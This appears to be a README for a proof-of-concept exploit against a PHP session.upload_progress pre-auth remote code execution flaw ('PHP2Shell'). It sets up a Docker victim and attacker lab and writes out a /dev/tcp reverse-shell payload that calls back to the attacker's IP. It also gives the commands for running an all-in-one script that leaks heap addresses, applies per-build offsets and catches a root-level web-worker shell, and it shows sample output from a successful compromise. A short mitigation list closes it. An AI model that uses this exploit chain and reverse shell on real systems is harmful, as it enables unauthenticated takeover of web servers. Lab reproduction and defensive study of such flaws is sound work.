
Proof-of-concept exploit for PHP session.upload_progress pre-auth RCE (PHP2Shell), with heap/ASLR leak, per-build offset profiles, and an all-in-one reverse shell handler.
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) is an unauthenticated Remote Code Execution flaw in PHP under Apache
mod_php. A craftedmultipart/form-datarequest triggers an out-of-memory bailout in the pre-requestsession.upload_progresshandler, leaving stale pointers that leak the Zend heap andlibphp.sobases viaSet-Cookie(defeating ASLR); a forged HashTable then redirects a destructor tozif_system, running commands as the web worker (www-data). No authentication is required and the vulnerable session settings are on by default.
| Category | Version |
|---|---|
| Vulnerable | PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x before the patch |
| Patched | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 or later (2026-10-21) |
| Verified on | official php:8.4.26-apache (Debian 13, amd64) |
Offsets are per-build (version · arch · distro). This PoC ships a profile for
8.4.26-apache amd64; other builds need their ownprofiles/*.json.
www-data)libphp pointers, and potentially session tokens and keys) even before RCEVictim = official php:8.4.26-apache with the config below. The attacker runs from a separate
container (eqst-kali) on the same Docker bridge; the reverse shell calls back to its IP.
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| Precondition | State in this lab |
|---|---|
PHP 8.2–8.5 (pre-patch) + Apache mod_php | PHP 8.4.26 / Apache 2.4.69, prefork |
session.upload_progress.enabled | On (default) |
session.use_strict_mode | 0 (default) |
display_errors | On (ships the stage-1 leak) |
memory_limit | 128M (default — left unchanged) |
post_max_size / upload_max_filesize > memory_limit (lets a request body hit the OOM) | 256M (upload-capable apps commonly raise these) |
| Single Apache worker process (stale state is per-process) | 1 |
Host note (WSL2): on Windows Docker Desktop (WSL2) the kernel maps
libphpat0x7c..., below the upstream exploit's0x7F...ASLR check, so it discards the valid leak.p2s_shell.pyauto-widens that range. On a native Linux host the patch is a no-op.
p2s_shell.py is a single process that opens its own listener, fetches the upstream exploit,
picks offsets from profiles/*.json by the target's PHP version, triggers the chain, and catches
a PTY-upgraded reverse shell (no separate nc).
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
One-time prerequisite: stage the reverse-shell payload in the victim web root (the command carrier
is 14 bytes, so long payloads go in a file run via bash</w/c, per upstream):
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
Run the PoC from inside the attacker (paths are relative to the script):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
It fingerprints X-Powered-By: PHP/8.4.26, loads the matching profile, and pops the shell:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Options:
--run 'c1;c2' — batch mode (no interactive terminal needed)--no-pty — keep a plain dumb shell instead of the PTY upgrade--php-version / --arch — override the target build when X-Powered-By is hidden--lport — reverse-shell port (must match the port baked into /w/c, default 4444)session.upload_progress.enabled = Off if upload progress is not useddisplay_errors = Off in production (blocks the shipped stage-1 leak)zend_mm_heap corrupted log lines